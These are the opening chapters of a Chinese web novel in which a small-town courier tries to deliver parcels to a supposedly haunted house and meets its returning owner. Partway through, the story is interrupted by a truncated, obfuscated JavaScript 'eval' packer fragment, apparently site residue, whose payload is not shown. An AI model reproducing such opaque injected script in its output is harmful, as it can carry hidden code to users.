《香瓜写真馆诚招男模》 1. 香瓜女士 陆时生整理完今日的快递,站起身来揉了揉腰,目光转向窗外,今日晴空万里,日光有点耀眼,似乎还有鸟叫。 他后背出了薄薄一层汗,这才惊觉这天气一日比一日暖和,不知不觉春天已经来了。 该脱掉厚重的棉衣了。 他倒了杯水,一饮而尽,转头问旁边的人,“香瓜街12号在哪?” “还臭瓜街呢!哪有这条街,写错了吧?”店里的伙计崔胖正在嗑瓜子,瓜子皮吐了一地,陆时生顺手把抄起旁边的扫帚扔过去。 崔胖被吓一跳,嗷叫了一声惊坐起来,“干嘛?” “起来!把地扫了,一会儿来人了,看着不像话。” 崔胖长长唉了一声,不情不愿地起身,慢腾腾地开始扫地。 陆时生拧着眉头,将快递单上的字又看了一遍: 收件人:香瓜女士 收件地址:香瓜街12号 几个大字印得清清楚楚,再看几遍都没差,这几个纸箱堆在这儿有一个月了,一直没人来拿,上面全都写的这个地址,打电话也没人接。 崔胖也凑过来看,忽然灵光一闪道:“要不你在地图上搜一下呗。” “搜了,没有。” “那这肯定是写错了!” “香瓜街......” 陆时生嘀咕了一句,这时门口有人进来,是隔壁裁缝店的张秋燕。 张秋燕进了门,正见到陆时生望着一块纸箱子发呆,她便喊了一声,“时生啊,发什么呆呢?帮婶子找下快递呗。” 陆时生起身应了声,“哦,张婶啊,多少号?” 张婶翻了下手机,“078号。” 陆时生迅速找到快递,拿给张秋燕,顺口问了句:“张婶,您知道香瓜街在哪吗?” 张秋燕笑了两声,“哪还有香瓜街,早就改名了,现在叫绿柳街。” 陆时生豁然开朗,“原来如此,谢了张婶。” ...... 这么多快递一直堆在这里也不是回事,陆时生打算亲自去送。 绿柳街在镇上的边界,因为近山,地势凹凸不平,所以房屋坐落得也不像其他处那么整齐。 陆时生在附近绕了半天,愣是没找到12号在哪。 11号和13号之间,不过一条张曼杂草的小缝,陆时生犹豫片刻,决定穿过杂草到后面看看,还真被他找到了。 绿柳街12号是一栋老宅,准确地说,应该算是别墅,看起来已经有些年头了。 这别墅有三层,院里杂草丛生,稍显荒凉,却也能看出昔日这里的富贵庄重,像是沉睡在森林里的宫殿,寂寞又华贵。在以前,应该住的是个大户人家,纵是杂草也掩盖不住这里的贵气。 原先他找不着,只因这里的院子太大了,跟园林一般,陆时生顺着院里已经被杂草覆上的石子路,走进去敲了敲门,一层尘土落下,他咳了几声,后退几步等了会儿,没人应声。 意料之中,房子里没人。 确定了是这里,陆时生将快递放在了门口,便回了去。 ....... 傍晚时分,望潮木工坊旁的快递点称得上是花溪镇最繁忙的地点之一。 村里的人都干完了活儿,来店里拿快递的人很多,每到这个时候,店里都会忙得不可开交。 望潮是陆时生父亲的名字。 陆望潮从小跟着老师傅学了一手木工的手艺,后来自己开了个木工坊,卖些手工木雕,还有桌椅板凳,偶尔也会接定制家具。 但这几年村里的人都赶时髦,家具都买现成的,木工坊的活少了大半,几乎赚不到钱,陆望潮便经常出去给人打工,后来陆时生见村里越来越多的人网购,便跟镇上来往城里的班车合作,将望潮木工坊作为花溪镇的快递点,每天把到县城的快件统一运到这里,镇上的人便都来这里取件。 每个快件五毛钱,数量多了,也是一笔不菲的收入。再加上这几年旅游业发展,镇上的居民手头也都日渐富裕起来,快件数量直线上涨,陆望潮和陆时生两个人兼顾木工坊和快递两项业务,根本忙不过来,便又招了个伙计。 这会儿,伙计崔胖忙得焦头烂额,见陆时生回来了,忙向他招了招手,扯着嗓子道:“生哥,你可回来了!你不在这儿盯着,我快忙炸了!你帮冯雅结下账呗!” 陆时生也没料到香瓜街12号那么难找,原以为五点钟之前就能回,抬头一看,已经六点过了三分。 “老陆去哪了?” 陆时生问了句,迅速到柜台帮顾客结账。 崔胖喊道:“朵朵生病了,她奶奶腿脚不方便,便叫陆叔帮忙送去医院。” “哦,”陆时生低头算完账,把东西包好,他手指修长,动作干净熟练。 冯雅看了会儿,忍不住将目光移到陆时生脸上,见到他又黑又亮的双眸,睫毛也很长,密密地一排,冯雅不禁红了脸。 她买了两个木碗和一个杯垫,陆时生说道:“一共23块五,给23就行。” 冯雅点了点头。 陆时生动作很迅速,从柜子下拽出一个塑料袋,将包好的东西装进去,递给冯雅。 “谢谢时生哥。”冯雅抿着嘴说了声, 陆时生:“谢什么。” 声音温柔好听,像山泉流淌着抚过石面,冯雅听过脸又一红,拎着袋子小步跑出了门。 人走后,崔胖开始打趣他,“这小丫头怎么老是来买碗?木碗又摔不碎,生哥,她肯定是看上你了,你说呢?” 陆时生没接他的话,转而问道:“朵朵什么病?” “就小孩寻常的发烧,要我说,明天周一,没准是不想去上学,装病呢,我小时候就经常这么干!” 陆时生微微扬了下嘴角,“要不然你现在怎么在这儿当伙计呢。” 崔胖撇撇嘴,“说我,你不也一样,生哥,你读书那会儿怎么样?” 陆时生淡淡道:“忘了。” “不过听我爸说我学习还不错。” 他慢腾腾地补了一句。 崔胖得意地笑了两声,这还能不记得?生哥学习多半是一塌糊涂,所以难以启齿。这镇上有本事的年轻人要么去外地读大学,要么去城里创业,有出息的谁会窝在这小屋子里送快递啊。 这会儿店里清净了,只有个大爷在货架前给他的小孙子选木勺。 崔胖闲得慌,从冰柜里拿了根雪糕,边吃边拉着陆时生扯东扯西。 今天快递件数格外多,陆时生有些累,此刻只觉得他聒噪,心想着要不是沾了点亲戚,他早晚把这个伙计给换了。 崔胖不知道他心里在想什么,还在笑嘻嘻地问:“生哥,你去那香瓜街12号,怎么那么半天?那个香瓜女士是什么人物?多大?漂亮吗?” 这个香瓜女士一个月都不来拿快递,神神秘秘的,地址又奇奇怪怪,用的不知几年前的街道名,所以崔胖很是好奇。 陆时生摇摇头,“没见到。” 崔胖略感失落,不过很快便失了兴趣,回一边干自己的事去。 肯定不是什么大美女,香瓜女士......听这名字,就觉得有点傻,胖胖的,估计个头也不高。 挑木勺的张大爷拖着脚步走过来,他腿脚不好,耳朵却依然好使,听到两人刚才的只言片语,后知后觉地做出一个惊讶的表情,扯着嗓子问道:“刚才你说你去了香瓜街12号?” 陆时生点了点头,说了句,“那地方怪怪的。” “咋了咋了?”崔胖兴致勃勃地凑过来。 “诶呀呀,怪就对了!”张大爷面色严肃,眼睛瞪得跟阎王爷似的,压低了声音说:“那里是个鬼屋!” ........ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男生显然是乐意,又有些不解:“哪回我不送你到家门口,今天怎么还特意说?” 女生道:“最近镇上闹鬼,你没听说吗?” 男生不信,“哪有那种事?” 女生一本正经地道:“听说那房子从前就死过人,一周前生哥去那里送快递,亲眼看到那屋子里有个穿一身白裙子的女鬼,头发到脚脖子那么长,就在房子里来回飘啊飘的,还隐约传来阵阵哭声。” 步梨虽说是坚定的唯物主义者,但听到他这般精彩的描述,顿时也好奇起来,想着有机会去鬼屋看看。 她忍不住将身子凑过去,礼貌问道:“你们刚才说的鬼屋在哪啊?” “在绿柳街12号。” 步梨点点头,她没听过什么绿柳街,到了还得打听一下。 好多年没回来,小小的花溪镇居然都会闹鬼了。 她在心里默念了一遍地址,准备明日白天正午阳气足的时候再去看。 ...... 晚上七点钟,步梨准时坐上了开往花溪镇的班车。 她将车窗微微开了个缝儿,有风吹进来,开始觉得凉快,没多久却又冷得受不住。 步梨便将窗户又关了。 车窗外,一排高挺的杨树后面,落日火红,似是镶了金边,远远悬在天地交界处,但也就是眨眼之间,步梨也记不得才过了几分钟,那红日便只剩了半个,没过一会儿便像个娇羞的姑娘一般躲到了地底下。 随着日头落下,光线暗淡,让人心里莫名有些发慌,虽然她小时候在爷爷奶奶家住过一段时间,但从没有自己在花溪镇走过,而且过了这么多年,如今的花溪镇也成了很受欢迎的海边旅游景点,听说村里变化很大。 也不知道她能不能顺利找到家。 车子一路颠簸,她靠着座椅,迷迷糊糊地睡了去,等再醒来,耳朵里传来一道不标准还带了点口音的广播声。 “花溪镇到了——” 2. 绿柳街女鬼出没 三个月前,步梨还是江北艺术大学的一名美术老师,抱着一腔热忱每天拼了命工作,却被传言为了职称评选跟有家室的教授谈恋爱。 步梨活了二十多年都是顺风顺水,自幼没遇到过什么难事,开始只是些不好听的谣言,所以也没放在心上,后来逐渐发酵,愈演愈烈。 原是对方骚扰她,被拒绝后恼羞成怒恶人先告状,倒成了她的不是了。 步梨气不过,跟误会她的校领导大吵了一架后,愤然辞职。 她爸妈常年不在家,不是在国外就是忙工作,闲下来就去各地旅游。步梨回到空无一人的家里,忽然就觉得心里空落落的。 想了一会儿,又觉得没人也好,若是让爸妈知道她如此草率地辞职了,指定是一番腥风血雨,说她做事没脑子。 步梨也不知道自己是不是真的草率了,辞掉了很好的工作,回家待业。从读书到工作,她的人生还算顺利。 没什么太耀眼的成就,也没惹过祸,没遇到过让人发愁的难事,似乎也是因为这样,她在爸妈眼里一直是个让人放心的孩子,不需要花太多心思放在她身上,因为她自己就能把生活安排好。 她在家待了几天,觉得生活怪没有意思的。唯一出现的不太好的插曲便是有几次出门,她总感觉有人在跟踪她,一开始她不太确定,直到那天她忘了带钱包,回来取的时候发现早上她丢掉的垃圾被人翻过。 步梨脑海里浮现出那张对她死缠烂打一直骚扰的脸,觉得从心底里泛恶心,晚上还会做噩梦,有一天,她梦到了她奶奶,梦见她小时候住在花溪镇的老宅里和奶奶一起荡秋千,心里莫名觉得心安。 几经思索,她决定,回花溪镇的老家住几天。 ...... “到站了啊,下车都慢点,带好随身物品,别落车上——” 班车的司机扯着嗓子喊了一句。 步梨最后一个下的车,她抬脚一个小跳下了车,迎面便是干净的水泥马路,两边的柳树像是一对对时刻都要缠绕依偎在一起的小情侣一般,枝桠拼命往道路中间够,把路中央的天空都遮挡了住。 早春时节,柳枝上已经长出了黄绿色的嫩芽儿,充满着生命力。 步梨狠狠呼吸了一口新鲜空气。 在没人认识她的地方,终于可以自由自在地活了。 .................. 今天陆时生要去帮桂香奶奶接孩子,他提前半个小时就出了门,骑着小电驴不慌不忙地在街上兜风。 路过巷子口,小白公主正卧在路边打盹儿,陆时生停下车,从后备箱里抓了把猫粮投喂过去。 小白公主朝他喵喵不知说了几句什么,便美美享用起来。 陆时生趁机在它的脑袋顶摸了几把,起身时看见一名女生向这边走过来。 皮肤很白,长发及腰,不像是镇子上的人。 女生停在他面前,神情有些不安,“你好,请问你知道香瓜街怎么走吗?” 她声音清脆好听,拿一双圆圆的杏眼看着他。 陆时生伸手一指,“那边。” 步梨朝他指的方向看过去,是一段上坡的路,高高的杨树柳树林立,有好几排房屋掩在其中,她觉得这方向有点含糊,便追问道:“往那边走,然后呢?” 她到花溪镇之后,只开心了十分钟,心情便如过山车一般,随着手机电量降到1%后自动关机,从顶峰跌倒了谷底。 刚刚在咖啡厅打包蛋糕的纸袋子被她落在了大巴车上,偏偏她的画本和充电宝在里面。 步梨迷路了。 如今的花溪镇和十几年前她在这里住的时候完全不一样,有很多新建的小店和房屋,街道也不像从前那般泥泞狭窄,想完全凭着印象找到老房子,简直痴人说梦。 陆时生已经坐回到了车子上,见步梨又问,便停下来,单脚撑着地看向步梨,瞥到她眼里的迷茫,他眉眼里竟多出几分笑意,淡淡地问:“迷路了?” 步梨觉得他的表情有点像在幸灾乐祸,只想说:“废话,不迷路还会问路吗?” 但放眼望去,方圆几里也没其他人,步梨只能向他寻求帮助,便将心里的话压了回去,点了点头。 “你要去香瓜街?”陆时生道。 步梨再次点头,心里在想,他刚刚到底有没有在听她的问题? 陆时生打量了她片刻,目光从她身上轻扫,“我顺路,要不载你一段?” 步梨正累着,听到有人愿意送她,自然非常乐意,欣然坐到了后座上,“谢谢。” 她刚坐下,陆时生便启动了车子,把小电驴开出机车的感觉,步梨在后面一个趔趄,差点就仰过去,幸好有后备箱挡着。 风呼呼地从耳边刮过。 两人都没戴头盔,步梨有点担心她的安危,往前靠了靠身子,在他耳边劝说道:“你慢点,我不着急。” 陆时生道:“小学快放学了,送完你,我还得去接孩子。” “哦,你把我送到街口就好。”步梨客气道。 陆时生:“行。” “你是来旅游的?” 步梨:“不是,我老家在这儿,就是很久没回来了,这里变化还挺大。” “明年再来,就又不一样了,据说傍海街那那边还要盖楼呢,估计你也不知道傍海街在哪。”陆时生热情地开始给步梨介绍。 步梨摇摇头,“没听说过。” 陆时生道:“待几天,多走走就知道了。” “好。”步梨应了句,侧头看着花溪镇的风景,心情又重新好了起来。 “你是这镇上的人吗?” 步梨问道。 “是。” 步梨沉吟稍许,觉得既然以后都住在一个镇子上,这位男士又帮了她的忙,总该找机会感谢他一番便是。 她开口道:“我叫步梨,你叫什么?有机会我吃你请饭,算是感谢你的帮忙。” “陆时生,我家在望潮木工坊,有空可以来转转,村里的快递站也在这儿。” 望潮木工坊...... 步梨默默记下。 “到了,左转就是。” 沉思间,陆时生已经将车子停了下来。 步梨抬眼发现周边的街道布置有七分都是她熟悉的景象,只是路口竖的牌子,蓝底白字写着“绿柳街”三个字。 陆时生见她迟疑,解释道:“这条街改名了,不叫香瓜街,叫绿柳街。” “原来是这样,谢谢。”步梨下了车,忽的又想起一件事。 “对了,你认识从这里到县城那趟大巴车的司机吗?或者有没有他的电话?我有东西忘在车上了。” 陆时生道:“明天上午9点,你去镇子口老王海鲜面馆前面那条街找他就行,班车会从那里发车,司机叫张叔,他人很好的,你那东西丢不了。” 步梨听过,心也搁到了肚子里。花溪镇地方虽小,但民风淳朴,她来的第一天就碰到了好心人,想必那位张叔心肠也不错,不会私贪她的充电宝。 她再次表达感谢,“谢谢了。” “那我走了——” 陆时生匆匆告了别,忙着去接小孩放学,很快走远了。 步梨捋了捋被风吹乱的头发,朝陆时生离开的方向望了望。 这么年轻,居然就当爸爸了。 她不禁感叹。 .................. 步梨到老屋时,天色已经完全黑了。 院子里没有灯,她只得打开手电筒,进去后,大门口堆了一堆纸箱。 这些快递箱放这儿应该是有段时间了,表面上积了一层薄薄的灰。 为了搬来长住,她事先前往这边寄了好多东西,买了什么自己都快忘了。 她不记得买了这么多快递啊? 步梨数了数,大大小小的箱子加起来有七个,她把每个纸箱看了一遍,上面确实都是她的名字,香瓜。 她的小名。 小时候就是因为住在香瓜街,又很爱吃甜甜的香瓜,她奶奶便给她起了这个小名。 步梨回忆着以往住在这里的时光,脑海里灵光乍现,不自主地飘出几个字。 香瓜街改名为了绿柳街。 那香瓜街12号,也就是...... 绿柳街12号??? 总觉得在哪里听过。 步梨想了想,茅塞顿开。 那间...... 鬼屋??? 那她是....... 那个女鬼??? .................. 晚上,快递站正在忙着。 陆时生接朵朵回来后,把她带到了店里,看着她写作业。 崔胖满头大汗地从一堆快递里翻出几个纸箱和袋子,愤愤地朝陆时生喊道:“生哥,又收到香瓜女士的快递了!” “几个?” 崔胖数了数,“五个!” 陆时生眉头一皱,“又有这么多?” 看来这位香瓜女士是个购物狂魔...... 他脑海里忽然就浮现出方才偶遇的那位步梨女士。 哪个li? 离别的离?寓意不太好吧。 水果那个? 若她就是这些快递的主人,应该叫香梨女士吧。 思考间,那边的崔胖已经将五个快递一一翻了一遍,有今天刚到的,还有一周前的,看来又不能指望“香瓜女士”自己来拿快递了。 “生哥,你上次去鬼屋,看见那儿的女鬼了吗?” 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崔胖乐呵呵地掸了掸身上的灰尘,立刻行动,手脚麻利地将快递装到电动车上,哼着小曲儿出了门。 ...... ...... ...... 花溪镇的北边有一座矮山,叫荟山,荟山不高,实则就是一个小坡,但小镇北边这一带都是山地,地形凹凸不平。 前方的台阶之下,隐隐传来呼喊声。 “——有鬼,真有鬼啊!” 声音越来越大,直到看见巷子口跑出来一个胖子,边跑嘴里还高声喊着“有鬼——” 方兰和万波从县城回来后,又在镇口吃了碗面,仍然依依不舍,恨不得夜不归宿。 但两人都是有贼心没贼胆,只得在马路上多墨迹些时间,万波扭扭捏捏半天,终于鼓足勇气,手马上就要碰到方兰的手,却被一个大叫着跑出来的胖子打断,不免有些气愤。 怒目看过去,来人居然是崔胖。 崔胖失魂落魄地跑进来,见到这两个人也是一愣,顿时忘记了刚才见到的恐怖画面。 “兰兰?这么晚了,你怎么还和鱼蛋儿在一起?不是早放学了吗?” 方兰还没说话,万波便道:“怎么了?不行?崔胖子,你大呼小叫地喊什么呢?不知道会扰民吗?” 被他这么一问,崔胖重新被方才的恐怖所支配,指着来时的方向,磕磕巴巴道:“就那个鬼屋,绿柳街那个香瓜精!真的有鬼!” 万波听过哈哈大笑,“胆小鬼!这世上哪有鬼,你肯定是看错了!” 方兰看了眼崔胖被吓成菜色的脸,也忍不住笑了两声。 她这一笑,崔胖顿时破防了,怎么能让兰兰瞧不起呢?! 当即,他挺了挺胸脯,确信道:“你才胆小鬼!我眼神好得很,绝对没看错,刚才我去绿柳街12号送几个很久没人拿的快递,看到那屋子里一片黑,只有一个小窗户里有很弱的光,等我走近,就看到那窗户里有一道白影飘来飘去,飘来飘去。” 崔胖说了一通,见方兰和鱼蛋儿一脸淡然地看着他,显然是漠视他的话。 “不信,你们跟我一块去看看就知道了。” 方兰想了想,对万波道:“要不,咱们跟他去看看?” 万波道:“行,那去看看。” 崔胖看了眼方兰,心里有点不是滋味。 路上,崔胖还是忍不住问了。 “兰兰,你们这周休息周吧,不是下午三点就放学了吗?你跟鱼蛋儿去哪了?” 方兰道:“就是在县城随便转转。” 崔胖哦了一声,心里莫名生出一丝失落的情绪。 没多久,三人已经走到了绿柳街12号。 崔胖的电动车还倒在路边,周边散落了几个快递箱。 他们也没顾得上捡,心急地探了脖子,朝那栋神秘的老房子里望过去。 暗淡灰蓝的夜空里,偏偏那栋房子的上空飘着一片乌云,如倒置的深不见底的沼泽,再看那瘆人的形状,细长的一片,一端又像是人的五根手指头,卷着黑气缓缓向那扇窗子靠近。 透过窗户,他们看到了崔胖说的“鬼”。 幽蓝色的鬼火隐隐闪着光,时明时灭,起初鬼火周围一片漆黑,可没过几秒,便有一道白影闪了过去。 崔胖、方兰还有万波都呆在了原地,叫都叫不出声。 几人吓傻了。 寂静的夜晚,偶尔传来几声鸟叫。 除此之外,便是那窗户里飘忽不定的女鬼身影,似乎是个闲不住的勤劳鬼,在房中飘飘然。 从左飘到右,又从右飘到左。 3. 花溪镇一枝花 第二天清早,步梨早早起了床,打扮好后,便去到镇子口老王海鲜面馆。 她到的时候,只见到停在路边的大巴车,车门没开,透过车窗往里看,没有司机,她看了眼时间,离9点钟发车时间还有一个小时,估计张叔还没来,她便去老王海鲜面馆要了碗面。 热腾腾的汤面上桌,最上头点缀了几根绿色的油菜,步梨喝了口汤,鲜美爽口,咸淡刚好,汤是清淡的汤,当做早餐不至于太过油腻,再翻一下,里面的虾仁实实在在,数了一下,足足有六个。 海鲜面便宜还量大,步梨开心地吸溜着面条,不知不觉一整碗就全吃完了。 店里人逐渐多起来,店面很小,有谁唠嗑都能听得清清楚楚,步梨没刻意听,也难免有一两句入耳。 “听说昨天晚上,绿柳街那个女鬼又出来了,穿着白裙子就在屋顶晃悠。” “真的假的?” “可不,这回崔家那小胖子是眼真真地看到了的!” “小孩子闹着玩的吧。” “还有方家那小丫头,鱼蛋儿,都看见了,把仨孩子吓个半死。” 步梨:“......” 她听着略感尴尬,不知这个事儿该怎么处理,心想着得赶紧把家里的灯修好才是。睡衣也得换个别的颜色。 房子年久失修,难免有破损的地方。昨天晚上回去后她才发现卧室的灯打不开了,翻了半天找出个老蜡烛凑合了一晚,没成想吓到人了。 怪不得早上起来门口有几个散落的快递箱子,她还暗暗骂了几句快递员没素质,就那么把她的快递丢在那儿,原来是吓的。 她听着别人讨论这事儿有点心烦,倚着窗户看过去,不多时,见到不远处来了位光头的中年男子,正往大巴车的地方走去,瞧着像是昨天开车的司机。 她不太确定,一直到那人上了车,步梨立刻站起身,一路快步到了大巴车上。 车上没别人,司机张叔看了她一眼,以为她是乘客,打了个招呼道:“这么早就来了啊,离发车还有四十分钟呢。” “张叔,我不坐车,昨天我有一个包落在了车上,在最后一排靠窗的位置,您有看到吗?” 张叔愣了几秒,随即反应过来,“哦哦,一个白色的纸袋子是吧,有有有,这儿呢,就是——” 他眼睛一眯,眼角皱纹又多出来几条,脸上表情里带了几分歉意。 “丫头,真是不好意思,昨天我家那倒霉孩子嘴馋,我一个没看住,他就把那袋子里的蛋糕给吃了,你看看那蛋糕多少钱,叔把钱给你。” 步梨本也不在乎一个两个小蛋糕的,只想拿回充电宝和画本,她往袋子里看了眼,充电宝和画本都好好地在里面放着,便放心了。 “没事,不用给钱,蛋糕不吃放到今天本来也会坏,我自己丢三落四的,谢谢张叔帮我捡着了。” 张叔听她嘴甜会说话,立马也高兴起来,嘿嘿笑了几声,朝步梨道:“那这样,下回你去县城,直接来坐,叔给你免票。” 步梨道:“谢谢张叔。” 她正要走,张叔又问:“你是哪家的?看着面生,是来旅游的?” 步梨顿了片刻,说道:“我老家在这儿,很久没回来过了,昨天刚回来,住在绿柳街。” 张叔听到后面几个字脸色一变,“诶呦,丫头,你自己住?” 步梨想了想,谨慎起见,摇了摇头说:“不是。” 张叔依然提醒她道:“绿柳街那边最近老闹鬼,我是不信的,但难保有人装神弄鬼,不是叔吓唬你,之前那片确实出过事儿,丫头,你在那儿住可得小心点哈。” 步梨脸上挤出僵硬的笑容,“谢谢张叔提醒,张叔,您知道望潮木工坊在哪边吗?” 她忙转移话题。 “是去拿快递吧,从这儿走得二十分钟呢。”张叔熟练地指了个方向,步梨便匆匆下了车往望潮木工坊去了。 早春的乡下,空气里弥漫着泥土的芳香。 起初步梨还有心情边走边往两边看着,当是饭后锻炼,顺便认认路,等走到后半程,脚背都酸了,她觉得有必要买一辆电动车。 张叔说二十分钟路程算保守了,她走了半个小时才看到望潮木工坊的牌子。 从外面看这是间很寻常的店面,不过里面却是别有洞天,透过玻璃窗,能看到里面有两间,一间是木工坊,一间铺满了快递。 步梨进去后,屋子里很暖和,有个年轻的男人正坐在柜台前拿着拿着一把刻刀在认真地刻着手里的木雕,不知道这人是不是陆时生。 昨天遇见时是晚上,光线暗,她又一直坐在车子后座,所以没看清他的正脸。 男人低着头,注意力全在他手里的那块木雕上面,没注意来人了,步梨便自己走了进去。 她在货架间转了一圈,店里有很多木质的箱柜和桌椅板凳,散发着木质独有的气味,阳光透过半透明的窗帘洒下来,把店里衬得宁静而温馨。 窗边的木架上摆了很多精致的木雕,有大有小,形态各异,步梨挑了几个喜欢的,打算买下来回头摆在书桌前做装饰。 她绕过屏风往里走了几步,最里面还放了一张手工桌,桌上摆放了锯子、雕刻刀、锉刀、砂纸、海绵砂块、抛光块、刮刀......还有些木雕的半成品,应该是可以在这里学手工。 步梨正参观着,听到店里来了其他客人,她侧目,见到一名穿着艳丽的女人,从她身边快速经过,很有目标地从货架上拿了一摞小碟子和碗筷就速速到前台结账去了。 见有人来结账,陆时生这才抬起头,将手里的木雕放下,掸了掸散落的碎屑,开始给人结账,他算账很快,也不用计算器,一件件数万,心里就有了数。 步梨趁着这个时候仔细端详了他一番。 他穿了件黑色的卫衣,打扮得很年轻,不像奶爸。 起码在那坐着,微微低着头的角度,眉眼深邃,五官端正,称得上容貌俊朗。 买东西的女人披着一头长长的黑亮卷发,身材曲线十分完美。 她身子偏倚在货架上,恰到好处地体现出身材的凹凸,边看陆时生结账,边感叹了句:“你结账算得真快。” 陆时生也不回避她的目光,微挑的眉毛下是一双笑眼,“你来这儿干半个月,每天只算账,不干别的,保准比我算得还快。” 漂亮女人叹了口气,“要我来干,计算器都能按错,别说半个月,半天就能把你店赔进去。” 陆时生道:“那你的炸鸡店怎么开下去的?” 女人嗔怒地笑了下,没回答,从柜台前拿了个小木雕让陆时生一并算进去,“这个真可爱。” 陆时生把木雕一块放进塑料袋里,“这个不卖,免费送你了。” 女人眨眨眼,“对我这么好?” 陆时生道:“你是常客。” “这么会做生意,去我的炸鸡店干吧,我最近考虑外卖服务,正缺外卖小哥呢,你要来了,我保管对你好。” 明明是招揽,可说话时的语气、眼神,却让人生生听出她想要包养陆时生的感觉。 陆时生似是习惯了,应付得行云流水,“怎么个好法?” 步梨从远处瞅着他那双含情脉脉的桃花眼里,似乎藏着乐意又为难的神情。 女人慷慨道:“随你提,毕竟你是花溪镇一枝花。” 陆时生毫不客气地狮子大开口,“车吧,得是跑车,以后我开跑车送快递,□□。” 听他一本正经地开玩笑,漂亮女人知道自己被他的油嘴滑舌骗了,顿时一恼,佯做生气模样白了他一眼,斥道:“做你的青天白日梦去吧 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步梨想着:这木雕这么精致,雕一个肯定得花不少时间,这也送那也送,这小店能赚钱吗? “谢谢,这里的家具都是你自己做的吗?” “嗯,大部分是,还有一部分是我父亲做的,他做了三十几年木工,手艺比我好。” “那这些坐垫还有杯垫呢?”步梨仔细看了下,这些垫子的走线十分精致,款式也特别,不像男人的风格。 果然,陆时生道:“坐垫不是,这些还有那里挂着的几件衣服都是裁缝铺张婶做的,放在这儿一起卖。” “如果你需要定制家具,也可以来找我,不过得提前。”他介绍道。 步梨点点头,忽然想起她家院子的篱笆有一处坏了,于是问道:“那你会修篱笆吗?” “可以。”陆时生点头,“什么时候?” “明天吧,完了我联系你。”修篱笆的事有了着落,步梨又向他打听:“你知道哪里有卖电动车的吗?” 陆时生抬头,“想买电动车?” 步梨点头,“好多年没回来,没想到这里比之前大了好多,我早上从镇子口走过来,脚累得不行。” 陆时生道:“有是有,只是从这里再走过去,大概要半个钟头。” 步梨一听,心里哀嚎几声,这脚今天怕是废了。 陆时生从她拧巴在一块的五官里察觉到她的心思,开口道:“不如我骑车载你过去。” 步梨想了想,觉得不合适,而且怪麻烦人,于是婉拒道:“不用了,你不还要看店吗?” “离开一会儿不妨碍事。”陆时生说着已经准备了起来,从旁边的椅子背上捞起件外套披在身上,一边说道:“镇上卖电动车的就一家,那家的老板滑得很,你想买车的话,就跟我一块去,不然你一小姑娘,初来乍到的,容易被宰。” “真的不用了。”步梨没想到他这么热情。 陆时生看她紧张的样子,笑了一声,“不相信我?” 步梨摇摇头,“我觉得花溪镇的人都挺不错。” “那就走吧。”陆时生道。 步梨没再拒绝。 陆时生关了店门,也没锁,转身去推电动车,步梨便在一旁等他。 “香瓜?” 陆时生忽然喊了一句。 “嗯?”步梨习惯性地应了一声,回神才发现是陆时生在叫她。 陆时生笑笑,“没事,我就是确认一下。” 步梨后知后觉地反应过来,他怎么知道她叫香瓜? 思索间,陆时生已经穿好了外套,一手推开门,一手从兜儿里把手机掏出来递到步梨跟前,“加个微信?方便联系修篱笆的事。” 4. 城里来的大小姐 花溪镇菜市场路口,菲姐炸鸡店。 崔胖咬着吸管,心里非常不爽。 方兰就邀请他一个人不行吗?为什么还要带上鱼蛋儿这个电灯泡? 他一杯奶茶还剩大半杯没喝,那根蓝色的吸管弯折处已经快被他咬烂了。 万波把番茄酱挤到方兰的盘子里,不忘嘱咐道:“吃薯条得多蘸点酱,要不没味儿。” 方兰听他的建议,一根薯条半根都裹满了番茄酱。 万波关切地问道:“怎么样?” 方兰撇撇嘴:“有点酸了。” 崔胖有点生气,皱眉看着万波,狠狠质问道:“鱼蛋儿,你怎么不给我挤点?” 万波拿了两袋番茄酱扔过去,“给你自己挤呗。” 崔胖朝他瞪了瞪眼,方兰噗嗤笑了一声,劝慰道:“你俩别拌嘴了,我帮你挤就行了。” 方兰贴心地把番茄酱挤在崔胖盘子的边缘。 崔胖心里这才舒服了些,得意地望向万波,万波居然没什么表情,起码没有像他刚才那样嫉妒。 说不准是他太敏感太小心眼了。 他们三个人从小玩到大,彼此不分你我,只不过他书读得不好,高二没上完就辍学了,方兰和万波俩人却都是要考大学的,他很担心从此以后他要跟他们两人越走越远。 崔胖脑子里浮想联翩,正暗暗开导自己,就看到拿了根蘸好酱的薯条直接递到万波面前,“给你。” ??? 心理防线瞬间崩溃。 崔胖嫉妒到整个人几乎要扭曲变形。 还好那臭鱼蛋儿没有用嘴接。 崔胖心里有些沮丧,很想逃离现场,眼不见为净,“要不我还是回店里吧,生哥要是知道我装病请假,肯定会扣我工钱的。” 方兰急忙劝道:“别呀,你偷懒这么多次了,哪次生哥扣你工钱了?” 万波也道:“你都跟生哥说生病了,现在回去成什么了?” 说着,给崔胖递过去一根薯条。 崔胖臭着脸接过,放嘴里嚼了嚼,“真酸。” 不过他说得也不是没有道理。 早上他跟陆时生说自己拉肚子,现在要是带着一身炸鸡味回店里,那他说谎的事儿就不攻自破了。 他沉思片刻,点头答应,“不过,咱们大中午去鬼屋,鬼会出来吗?今天阳光这么好,谁家正经鬼选这么个大晴天出来啊?” 万波笑了他一句,“你还真信有鬼啊?” 崔胖白了他一眼,“我今天早上去那儿看了,快递都凭空消失了,空荡荡的路上,你猜有什么东西?” “一个血手印!” 他语气太过,把方兰吓了一机灵。 “真的假的?你别吓唬人!” “我都拍下来了。” 他拿出手机,把早上拍的照片拿出来展示,是一个很小的红点,但细细一看,那纹路确实像人的手印,放大了看,还能隐约看出指纹来。 方兰默默地问:“是不是那里有人住了?也可能是被收破烂儿的大爷捡走了吧。” 崔胖道:“收破烂儿的可从来不去那个鬼地方。” “那可能昨天刚有人搬进去。” 方兰说完,想起昨天晚上亲眼目睹的可怖情景,自己都有些心虚,低低念叨了句,“好像也没那么巧的事。” “别瞎猜了,那儿肯定有鬼。”崔胖确切道。 说罢,娓娓道来地讲起来。 “我奶奶说了,那里之前有一座墓碑,埋着一个冤魂,每次刮风下雨,那块地方总是风最凶雨最大的。我奶奶之前去那里卖鸡蛋,无意中踢到了一块石头,当即背后一股阴风刮过,没走几步便风雨大作。” “她推着车赶紧往家走,没走不远,雨又停了,我奶奶回头一看,才发现只是那房子的周围在刮风下雨,别处一片风平浪静,一滴雨点都看不着。” 现在那位香瓜女士的电话一直打不通,地址也写十几年前的,还有昨晚飘来飘去的白影,可不就是女鬼吗? 